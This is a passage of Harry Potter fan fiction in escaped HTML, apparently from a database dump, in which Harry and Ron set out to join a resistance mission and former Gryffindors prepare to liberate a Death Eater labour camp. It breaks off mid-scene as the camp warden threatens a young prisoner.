Margaret.&nbsp;\nAfter McGonagall had left, Margaret turned to Harry and Ron.&nbsp; &quot;You got any advice?&quot; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Just keep an\neye out on Snape,&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yeah, Snape,\nour most brilliant potions master.&nbsp; Just\nloved us,&quot; said Ron sarcastically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You\'re also\nlucky you\'re only taking the core curriculum,&quot; said Harry.&nbsp; &quot;Otherwise you might\'ve ended up with\nTrelawny in divination.&quot;&nbsp; Ron\nsnorted with laughter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh yeah,\nnever failed to predict Harry\'s death,&quot; he said.&nbsp; Both he and Harry burst out laughing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'m still a\nlittle scared.&nbsp; What if I\'m no good at\nmagic?&quot; asked Margaret, looking a little worried.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t worry\nabout it Maggie,&quot; said Ron.&nbsp;\n&quot;Trust me, before you know it, you\'ll be out-dueling me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A few days later,\nthe leaders of the resistance were discussing their next plan of action.&nbsp; It was decided that some wizards were to\nfree the prisoners in a labor camp near Manchester.&nbsp; It was also hoped that the move could convince some muggles to\ncombine their resistance movements.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;So do we\nhave any volunteers who want to go on this mission?&quot; asked McGonagall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\nvolunteer,&quot; said Harry before anyone else could speak up.&nbsp; All of the leaders stared at the young\nwizard.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry, I\nwould\'ve thought you\'d want to stay in some position of leadership,&quot; said\nSirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Wouldn\'t\nyour skills work better in a place of authority?&quot; asked Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I appreciate\nthe confidence everyone has in my leadership abilities,&quot; said Harry with a\nsmall smile.&nbsp; &quot;However, the place where\nI can use my abilities the most is out on the battlefield.&nbsp; It was what I was trained to do these past\ntwo years.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Murmurs filled the\nhall as the leaders discussed, Harry\'s decision to go straight into the line of\nfire.&nbsp; Finally, Snape spoke up, &quot;What\'s\nwith all the discussion?&nbsp; Surely, if\nPotter wants to go get himself killed, let him go get himself killed.&nbsp; It would do us all a favor.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Love the\nconfidence you have in Harry, Snape,&quot; said Ron.&nbsp; He turned to Harry and said, &quot;You know I\'m not going to let\nyou go alone, right?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron I\'m not\nletting you come with me.&nbsp; Its too\ndangerous,&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh, like we\nall don\'t live during dangerous times,&quot; said Ron.&nbsp; &quot;What right do you have to order me\naround, Harry?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Look\nRon.&nbsp; I can\'t bear putting you in\ndanger.&nbsp; There\'s too much responsibility\non this mission.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh, and I\nsuppose you can handle all the responsibility,&quot; snapped Ron.&nbsp; &quot;Look who\'s talking!&nbsp; You disappeared for two years without a\nword!&nbsp; I admit that I can fully accept\nyour excuse but it still doesn\'t take away the bloody fact that you were\ngone!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron,\nI...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t \'Ron\'\nme, Harry!&nbsp; I\'m coming with you and\nthat\'s final!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry finally gave\nup.&nbsp; &quot;OK Ron, you can come with\nme.&quot;&nbsp; Harry sighed while Ron\ngrinned and slapped Harry on the back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh, but Ron,\nHarry\'s right it\'s too dangerous for you,&quot; said Molly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Arthur however,\nsaid, &quot;Molly, Ron\'s a grown up man now, he can make his own\ndecisions.&quot;&nbsp; Molly sighed and gave\nin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;OK\nthen,&quot; said Remus.&nbsp; &quot;You two\nshould leave first thing in the morning.&nbsp;\nOh, and you should probably take this with you.&quot;&nbsp; Harry gasped when he saw Remus pull out his\nfather\'s invisibility cloak.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;OK\nRemus,&quot; said Harry while grinning.&nbsp;\n&quot;And thanks for looking after the cloak while I was away.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The next morning,\nHarry and Ron took off on broomsticks, flying south to the realm of Voldemort\'s\nempire.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N OK, I got so\nmany complaints that I\'m going to have to tell you now: Hermione will get her\nlegs back, just not yet, and not for a while.&nbsp;\nSo please, keep that in mind as you read this.&nbsp; So please R/R and wait for the next chapter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 5, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;He has delivered\nus from such a deadly peril, and he will deliver us.&nbsp; On him we have set our hope that he will continue to deliver\nus,&quot;</i></p>\n\n<i>2 Corinthians 1:10</i>\n\nChapter 5:\nDeliverance of the Camp\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Seamus\nFinnigan was looking toward one of the concentration camps from one of the\nhideouts.&nbsp; He was part of a wizarding\nresistance group that was on a mission to liberate the concentration camp.&nbsp; The hope was that they could then convince\nthe liberated muggle resistances to join with the magical resistances.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;This is\ngoing to be impossible,&quot; muttered Seamus.&nbsp;\nHis group was composed of former Gryffindor students who were all\nfighting the dark forces.&nbsp; They were in\nan underground bunker, which had a lookout post that was disguised as a rock.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Way to go\nwith the optimism,&quot; said Ginny Weasley with the sarcasm she had inherited\nfrom Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well think\nabout it though,&quot; shouted Seamus looking frustrated.&nbsp; &quot;What hope do we have?&nbsp; Even if we can liberate this camp, how is\nthat going to change the tide of the war?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;He\'s\nright,&quot; said Lavender Brown who was sitting in a far corner over a crystal\nball.&nbsp; &quot;My inner eye shows dark\ntimes ahead of us.&quot;&nbsp; Parvati Patil,\nwho was sitting next to Lavendar, nodded her approval with a gloomy face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Are you out\nof your minds!&quot; yelled Ginny, her red hair flailing around.&nbsp; &quot;And you call yourselves\nGryffindors!&nbsp; If you...&quot; Ginny\nwould\'ve continued if a silent alarm hadn\'t suddenly ringing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;W-what\'s\nthat?&quot; asked a groggy looking Neville Longbottom.&nbsp; He had just woken up in the sleeping bag in\nanother corner.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;We\'ve got an\nintruder,&quot; hissed Dean Thomas.&nbsp; He\nand the other\'s started to draw their wands.&nbsp;\nGinny however, motioned for quiet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t\nworry,&quot; she said.&nbsp; &quot;Fred and\nGeorge designed all the traps in this bunker.&nbsp;\nWe\'re perfectly safe.&quot;&nbsp; As\nif on cue, a scream was heard.&nbsp;\n&quot;You see, that\'s the intruder getting caught in one of the Weasley\nWizard Wheezes traps,&quot; said Ginny looking smug.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well let\'s\ngo get this intruder, than,&quot; said Dean.&nbsp;\nThe Gryffindors all made their way deeper into the bunker where the\nscream had come from.&nbsp; Sure enough, they\nfound a young man struggling in a net that was glowing with a yellow light.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t try\nbreaking out of that,&quot; said Seamus.&nbsp;\n&quot;It\'s a fool-proof dark wizard catching trap.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well it would\nwork perfectly if only it had caught a dark wizard,&quot; said the man looking\nannoyed.&nbsp; Ginny immediately recognized\nhim with a gasp.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ginny.&quot;&nbsp; Ron grinned at his sister.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;W-what are\nyou doing here?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'d explain\nif I didn\'t enjoy being caught in some net.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh,\nsorry,&quot; said Ginny.&nbsp; She muttered\nan incantation and Ron fell to the floor with a thud.&nbsp; He groaned in pain as Ginny helped him back to his feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron?&nbsp; Why are you here?&quot; asked Lavender.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh I just\nfigured I\'d sell all of you to You-know-who,&quot; said Ron while\ngrinning.&nbsp; When the others just stared\nat him, Ron sighed and said, &quot;I\'m here to join you guys.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Good\nluck,&quot; said Dean.&nbsp; &quot;We don\'t\nstand a chance against the wardens of this camp.&nbsp; They\'ve got security trolls all over. &nbsp;And this one monster.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Monster?&quot;\nsaid Ron with a raised eyebrow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;W-we think\nthey\'ve got a c-chimaera in there,&quot; stuttered Neville looking frightened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron simply\nshrugged and said, &quot;We can worry about that later.&nbsp; In the mean time, just get everyone here\nready to attack the camp in about a hour.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;WHAT?!&quot;\nshouted all of the resistance members.&nbsp;\n&quot;You expect us to get ready in a hour?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;We\nmustn\'t!&quot; said Parvati.&nbsp; &quot;If\nProfessor Trelawny were here, she\'d predict how this sudden attack would end in\ndisaster.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well,\nTrelawny\'s words will really discourage me,&quot; said Ron sarcastically.&nbsp; He grinned when Lavender and Parvati scowled\nat him.&nbsp; &quot;Don\'t worry, everything\nwill go fine.&nbsp; There\'s a bug in the camp\nright now, or should I say lion.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was past curfew\nin the concentration camp.&nbsp; All of the\nprisoners were locked up in the tiny bunks made of concrete.&nbsp; These bunks were designed for a maximum\ncapacity of ten people, but were crammed up with at least thirty prisoners in\neach.&nbsp; Under the snow, the roads had\ngravel spread out over them that was painful for the prisoners who were bare\nfoot.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Security trolls\npatrolled the camp, brandishing their clubs stupidly.&nbsp; These clubs were feared for knocking many a prisoner\'s head off\nfor trying to escape.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A large lion was\nprowling through the snow in the camp that night.&nbsp; He was mostly moving around in the shadows, avoiding the\ntrolls.&nbsp; With cat-like movements, he\neasily avoided the potential threats he encountered by slipping into places\nwhere no human could enter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The lion was\nlooking for the warden Death Eater who was in charge of the camp.&nbsp; If he could bring down the head of the camp,\nthen the stupid trolls could easily be brought down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Eventually, the\nlion spotted something in the center of the camp.&nbsp; A fat Death Eater, who was clearly the warden, was walking toward\na young girl of about twelve, flanked by trolls.&nbsp; The lion also spotted prisoners looking at the girl from the\nwindows, expressions of terror on their faces.&nbsp;\nThe girl looked terrified as the Death Eater walked up to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Muggle,&quot;\nhissed the Death Eater.&nbsp; &quot;You stole\nsome of the security tolls\' rations.&nbsp;\nDid you not?&quot; hissed the Death Eater.&nbsp; The girl was visibly shaking and tears were streaming down her\ncheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;P-please\nsir.&nbsp; My m-mother is s-sick.&nbsp; I o-only wanted to g-give her some\nf-food.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Death Eater\nlaughed.&nbsp; &quot;Ah yes, well everybody\nmust take care of their mother.&nbsp; But of\ncourse, you still broke the rules, therefore you must be punished.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;P-punished?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Death!&quot;\nhissed the Death Eater.&nbsp; The girl\nshuddered and fell to her knees in front of the Death 